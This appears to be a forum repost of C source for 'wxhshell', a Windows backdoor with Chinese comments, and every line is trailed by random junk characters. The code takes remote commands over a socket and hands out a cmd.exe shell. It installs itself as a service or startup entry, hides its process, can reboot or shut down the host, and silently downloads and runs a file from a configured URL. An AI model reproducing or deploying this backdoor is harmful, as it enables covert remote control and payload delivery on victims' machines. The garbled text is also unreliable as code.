zQQ=8#]  
    switch(cmd[0]) { xA>O4S D  
  h*9s^`9)  
  // 帮助 H"A|Z6y$^  
  case '?': { ?4,e?S6,[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZkZTCb`/l  
    break; 48 `k"Uy   
  } 6{p] cr  
  // 安装 c31k%/.  
  case 'i': { (},TZ+u  
    if(Install()) X!%CYmIRb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:p+C-gs  
    else |+Fko8-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8df-]r  
    break; NiQ_0Y}  
    } Wq1%  
  // 卸载 ]ozZW:  
  case 'r': { IirXF?&t  
    if(Uninstall()) co$I htOv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/</  
    else Eh&et0&=g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZ6g u$ n*  
    break; syYe0~  
    } S~mpXH@  
  // 显示 wxhshell 所在路径 )ieT/0nt  
  case 'p': { W7QcDR y6  
    char svExeFile[MAX_PATH]; 2Po e-=  
    strcpy(svExeFile,"\n\r"); \.tnzP D  
      strcat(svExeFile,ExeFile); ^%V^\DK  
        send(wsh,svExeFile,strlen(svExeFile),0); CHqRCQR.  
    break; ?UlAwxn  
    } :NJ(QkTZv  
  // 重启 xM3T7PV9  
  case 'b': { 3~7X2}qU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .6m%/-whS  
    if(Boot(REBOOT)) QVVR_1Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O^7zW  
    else { 6WEYg   
    closesocket(wsh); Qyr^\a;k'  
    ExitThread(0); ersddb^J]  
    } oyS43/."  
    break; INFbj8T  
    } O]SjShp  
  // 关机 VgHVj)ir  
  case 'd': { Ne)H*DT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \/Z?QBFvz  
    if(Boot(SHUTDOWN)) +p:#$R)MW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-zt,iRyV  
    else { H53dy*wb$  
    closesocket(wsh); B=mk@gX,G  
    ExitThread(0); 4]F:QS% x  
    } #&A)%Qbg  
    break; %B&y^mZv*\  
    } U=4tJb  
  // 获取shell  ahno$[  
  case 's': { 3(De> gs$  
    CmdShell(wsh); Q,# )  
    closesocket(wsh); zCZ]`  
    ExitThread(0); Dl2`b">u  
    break; Bn 5]{Df  
  } =N5~iMorD-  
  // 退出 u/5 ^N^@^  
  case 'x': { b42"Y,sbB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h#ogL-UU  
    CloseIt(wsh); mlsM;A d2  
    break; &> Myf@  
    } tCFXb6Cz  
  // 离开 dy^Zlu` f  
  case 'q': { p<w2e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =}6yMR!4R<  
    closesocket(wsh); 6tC0F=  
    WSACleanup(); y6 bl&_  
    exit(1); /T53"+7:0  
    break; {=5Wi|  
        } e_Ue9c.}  
  } gZI88Q  
  } 8{@0p"re@  
=.Tc l"O[  
  // 提示信息 %jgB;Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }0& @J'<  
} 5.KhI<[  
  } 1Y2]jz4  
i/j DwA  
  return; s}NE[Tw  
} {s8v0~  
/0PBY-O  
// shell模块句柄 \t6k(5J  
int CmdShell(SOCKET sock) tnv @`xBn  
{ 8[zux4<m  
STARTUPINFO si; r2WW}W  
ZeroMemory(&si,sizeof(si)); u|v2J/_5Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,i>{yrsOh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @+OX1-dd/w  
PROCESS_INFORMATION ProcessInfo; noali96J  
char cmdline[]="cmd"; O_yk<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q97Z .o  
  return 0; llbf(!  
} F|,_k%QP  
v1s.j2T  
// 自身启动模式 n]?KDID;  
int StartFromService(void) (%&HufT  
{ YueYa#7z  
typedef struct ^Jv$Wx  
{ >5rb4  
  DWORD ExitStatus; oCw>b]S  
  DWORD PebBaseAddress; I{e[Y_  
  DWORD AffinityMask; nH6Ny  
  DWORD BasePriority; ia'eV10  
  ULONG UniqueProcessId; u0&QStI  
  ULONG InheritedFromUniqueProcessId; i%M6$or  
}   PROCESS_BASIC_INFORMATION; c Z6Zx]  
l :e&w(1H  
PROCNTQSIP NtQueryInformationProcess; 7+!4pf  
*] H8X=[x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N:"S/G>r ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (!^i6z0Sp  
E}7@?o7u}  
  HANDLE             hProcess; N- !>\n  
  PROCESS_BASIC_INFORMATION pbi; v}vwk8  
l70a&[W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MLbmz\8a  
  if(NULL == hInst ) return 0; 3}: (.K  
yK1@`3@?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k0@b"y*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p\A!"KC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~F gxhK2+  
Ez\TwK  
  if (!NtQueryInformationProcess) return 0; k}MmgaT:5]  
>bwB+-lyL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #(i9G^K  
  if(!hProcess) return 0; fD^$ y 8  
7gX#^YkE+k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _h?hFs,N]  
TBAF_$  
  CloseHandle(hProcess); | z 1  
 I&m C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~AqFLv/%  
if(hProcess==NULL) return 0; [&Yrnkgr  
16J" QUuG  
HMODULE hMod; ><t4 f(d  
char procName[255]; 8>\tD  
unsigned long cbNeeded; J@ CKgE  
F.]D\"0`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M<nKk#!+h  
';>]7oT`  
  CloseHandle(hProcess); h83W;s  
fJiY~mQ  
if(strstr(procName,"services")) return 1; // 以服务启动 F'~\!dNL  
apz) 4%A  
  return 0; // 注册表启动 0bl?dOV{  
}  S2;u!f  
\ 5&-U@  
// 主模块 +4*3aWf`  
int StartWxhshell(LPSTR lpCmdLine) f ye=8 r  
{ +D3w2C  
  SOCKET wsl; xF/u('A  
BOOL val=TRUE; JX.3b_O  
  int port=0; 8^ ujA  
  struct sockaddr_in door; -z s5WaJn/  
&U.U<  
  if(wscfg.ws_autoins) Install(); |TQ#[9C0  
0~/'c0Ho  
port=atoi(lpCmdLine); 3A`|$So  
sz"N,-<Ig  
if(port<=0) port=wscfg.ws_port; qKSS 2f $  
O`M 6 =\  
  WSADATA data; [3@Pu.-I+M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eYpK!9  
Z,jR:_ p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   efT@A}sV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l;~b:[r  
  door.sin_family = AF_INET; s*g`| E{M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n|p(Cb#G  
  door.sin_port = htons(port);  V6L0\  
^\(<s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tg R4C#a   
closesocket(wsl); sB~|V <  
return 1; H;1_"  
} Ha)Vf+W  
v@&UTU  
  if(listen(wsl,2) == INVALID_SOCKET) { {V7W!0;!  
closesocket(wsl); M:5K4$>Kx  
return 1; }zO>y%eI  
} #CV;Np  
  Wxhshell(wsl); \aY<| 7zK  
  WSACleanup(); }wIF$v?M  
d,5,OJY2f  
return 0; ]B2%\}c  
k#oe:u`<  
} 'PS_|zI  
"9^OT  
// 以NT服务方式启动 (zmL MG(R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : Yb_  
{ 2]UwIxzR  
DWORD   status = 0; r.JM!x8  
  DWORD   specificError = 0xfffffff; p0|PVn.^h  
_w.H]`C!X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5qL;@Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qq|c%FZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ux!q(9<_  
  serviceStatus.dwWin32ExitCode     = 0; o..iT:f;n  
  serviceStatus.dwServiceSpecificExitCode = 0; {Qf/.[  
  serviceStatus.dwCheckPoint       = 0; gj@>9  
  serviceStatus.dwWaitHint       = 0; CZzgPId%x  
1C5~GI`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '44I}[cA/  
  if (hServiceStatusHandle==0) return; qydRmi  
$ dR@Q?_{  
status = GetLastError(); M/abd 7q  
  if (status!=NO_ERROR) O:{N5+HVG  
{ &-c{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qy( kb(J  
    serviceStatus.dwCheckPoint       = 0; sDZ<X A  
    serviceStatus.dwWaitHint       = 0; UfNcI[xr  
    serviceStatus.dwWin32ExitCode     = status; q&nEodv>+  
    serviceStatus.dwServiceSpecificExitCode = specificError; rUW/d3y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Swxur+hfH  
    return; -%_vb6u  
  } !<UdG+iV  
( d1ho=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n.b_fkZNr  
  serviceStatus.dwCheckPoint       = 0; *?x[pqGq  
  serviceStatus.dwWaitHint       = 0; Ru~;awV?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cR6Rb[9 N  
} j\\uW)ibG  
QR\2 %}9b  
// 处理NT服务事件,比如:启动、停止 w gkY \Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5`FPv4   
{ A2%RcKY7  
switch(fdwControl) cq4sgQ?sW  
{ b ~C^cM  
case SERVICE_CONTROL_STOP: YfUo=ku  
  serviceStatus.dwWin32ExitCode = 0; c9ea%7o{0a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?2<V./2F  
  serviceStatus.dwCheckPoint   = 0; A(1WQUu j  
  serviceStatus.dwWaitHint     = 0; \y0]BH  
  { hr?0RPp}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  , D}  
  } )5ev4Qf  
  return; :OD-L)Or  
case SERVICE_CONTROL_PAUSE: X_(n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0I}c|V'P  
  break; =GL^tAUJ  
case SERVICE_CONTROL_CONTINUE: yaK4% k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |5(un/-C  
  break; 4<S=KFT_  
case SERVICE_CONTROL_INTERROGATE: uX8G<7O^  
  break; '^`%  
}; ;tWi4iT+.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rds0EZ4W  
} '=(@3ggA:  
D%h_V>#z  
// 标准应用程序主函数 0GcOI}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HEs.pET\  
{ xeKfc}:&z  
nzl3<Ar  
// 获取操作系统版本 xX\A& 9m  
OsIsNt=GetOsVer(); VcORRUp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uE&2M>2  
|K'7BK_^J  
  // 从命令行安装 f=Kt[|%'e  
  if(strpbrk(lpCmdLine,"iI")) Install(); FK,Jk04on  
;s w3MRJ  
  // 下载执行文件 @ iaz_;  
if(wscfg.ws_downexe) { FfibR\dhY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z]k+dJ[-  
  WinExec(wscfg.ws_filenam,SW_HIDE); iYl{V']A  
} 3NlG,e'T2  
KZI-/H+  
if(!OsIsNt) { ; d :i  
// 如果时win9x,隐藏进程并且设置为注册表启动 |&\cr\T\r  
HideProc(); m.>y(TI  
StartWxhshell(lpCmdLine); .ot[_*A.FD  
} z1~FE  
else j(`V& S  
  if(StartFromService()) RLUH[[  
  // 以服务方式启动 X{;3gN  
  StartServiceCtrlDispatcher(DispatchTable); 'sN (=CQ  
else '-KrneZ!  
  // 普通方式启动 nISfRXU;  
  StartWxhshell(lpCmdLine); O<`\9  
\I~9%QJ>  
return 0; g TqtTd~L  
}
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只看该作者 1 发表于: 2006-10-10
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